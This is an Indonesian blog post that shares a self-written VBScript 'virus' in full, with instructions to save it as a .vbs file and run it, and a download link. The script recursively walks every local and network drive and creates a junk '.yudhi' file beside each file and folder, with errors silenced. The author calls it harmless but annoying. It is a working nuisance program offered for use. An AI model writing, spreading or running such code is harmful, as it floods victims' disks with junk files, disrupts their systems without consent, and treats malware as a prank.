Script Virus Sederhana

Bersumber dari Group IFC.


Berikut adalah contoh script virus sederhana buatanku sendiri. efeknya tidak berbahaya bagi komputer, hanya saja bikin sebel.. hehe.. ^___^

virus ini hanya menduplikasi file2 dan folder2 yang ada di setiap drive kemudian menamai file2 dan folder2 tersebut dengan ekstensi *.yudhi.

virus ini dibuat dengan bahasa pemrograman visual basic script.
berikut script virus tersebut..
================================================

rem – “shinobi303 virus" – By shinobi303
rem – dibuat : 7 Maret 2011
On Error Resume Next
dim A,B,C
set A=CreateObject(“Scripting.FileSystemObject”)
B=”Hallo! jangan khawatir…aku tidak berbahaya… tp sedikit mengganggu.. – by shinobi303″
B=replace(B,chr(42),chr(68))
B=replace(B,chr(124),chr(46))
C=replace(B,chr(37),chr(76))
n Error Resume Next
dim D,E
set E=A.Drives
for each D in E
if (D.DriveType=2)or(D.DriveType=3) then
indexFolders(D.Path&”\”)
end If
next
sub indexFolders(location)
On Error Resume Next
dim F,file,G,duplicate
set F=A.GetFolder(location)
set G=F.SubFolders
for each file in G
set duplicate = A.CreateTextFile(file.Path&”.yudhi”, 2, True)
duplicate.write C
duplicate.Close
writeData(file.Path)
indexFolders(file.Path)
next
end sub
sub writeData(location)
On Error Resume Next
dim folder,directory,file,duplicate
set folder=A.GetFolder(location)
set directory=folder.Files
for each file in directory
set duplicate = A.CreateTextFile(file.Path&”.yudhi”, 2, True)
duplicate.write C
duplicate.Close
next
end sub

================================================
simpan dengan ekstensi *.vbs, Kemudian jalankan..
bisa juga didownload disini => http://www.4shared.com/file/WZ9wtHin/shinobi303.html
selamat mencoba..

• Tweet
• Share
• Share
• Share
• Share

Sign up here with your email